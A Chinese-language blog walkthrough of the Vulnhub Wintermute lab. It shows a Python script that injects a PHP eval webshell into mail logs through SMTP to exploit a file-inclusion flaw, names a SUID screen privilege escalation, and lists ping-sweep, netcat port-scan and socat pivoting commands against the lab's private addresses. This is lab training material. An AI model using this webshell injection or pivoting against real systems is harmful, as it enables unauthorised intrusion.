Vulnhub靶机Wintermute通关笔记

vulnhub OSCP

Word count: 567Reading time: 2 min

 2020/03/19   Share

Vulnhub靶机Wintermute通关笔记

¶前言

upload successful

这里有两台靶机还有网卡设置要注意

¶开始

¶第一台Straylight

nmap 扫描

upload successful

开放了25 80 3000端口

80端口动画太慢了我直接看源码

upload successful

根本没思路等了好久试了postfix smtp配合破壳漏洞也不行

原来3000端口可以用http访问。。。
登陆上了3000端口

upload successful

发现有几个目录
跟进

upload successful

/turing-bolo/这个目录有意思

upload successful

upload successful
怀疑文件包含

upload successful
确定存在文件包含会自动在后面加后缀.log

想包含apache日志文件但是linux下的日志文件是access_log没有.所以不能包含

upload successful

upload successful
自己写了的phpinfo 执行成功！

exp如下

from socket import *
import sys

def netFormat(d):
    d += "\n"
    return d.encode('hex').decode('hex')

s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.3.96', 25))
data = netFormat("mail from:<?php @eval($_POST[cmd]);?>")
s.send(data)

写个马进去

upload successful

Alt text
查看SUID
screen4.5.0 可以提权以前做过

upload successful

upload successful
提权成功

flag和note

upload successful
接下来应该就要通过这个已经提权的机器来打另外一台机器了

¶第二台Neuromancer

主机发现
for p in $(seq 1 255);do ping -c 1 192.168.123.$p 2>&1 ;done | grep "bytes from"

upload successful
另一台靶机ip为192.168.123.10

端口扫描
for p in $(seq 1 65535);do nc -nvz -w 1 192.168.123.10 $p 2>&1 ;done | grep -v "refused"

也可以装一个nmap来扫描

upload successful

也可以用nc来扫描端口

nc -znv 192.168.123.10 1-65535

upload successful

然后用这种方式来判断端口开放的是什么服务

upload successful

端口转发

socat tcp-listen:8889,fork tcp:192.168.123.10:8009&
socat tcp-listen:8888,fork tcp:192.168.123.10:8080&
socat tcp-listen:34483,fork tcp:192.168.123.10:34483&

upload successful
tomcat服务器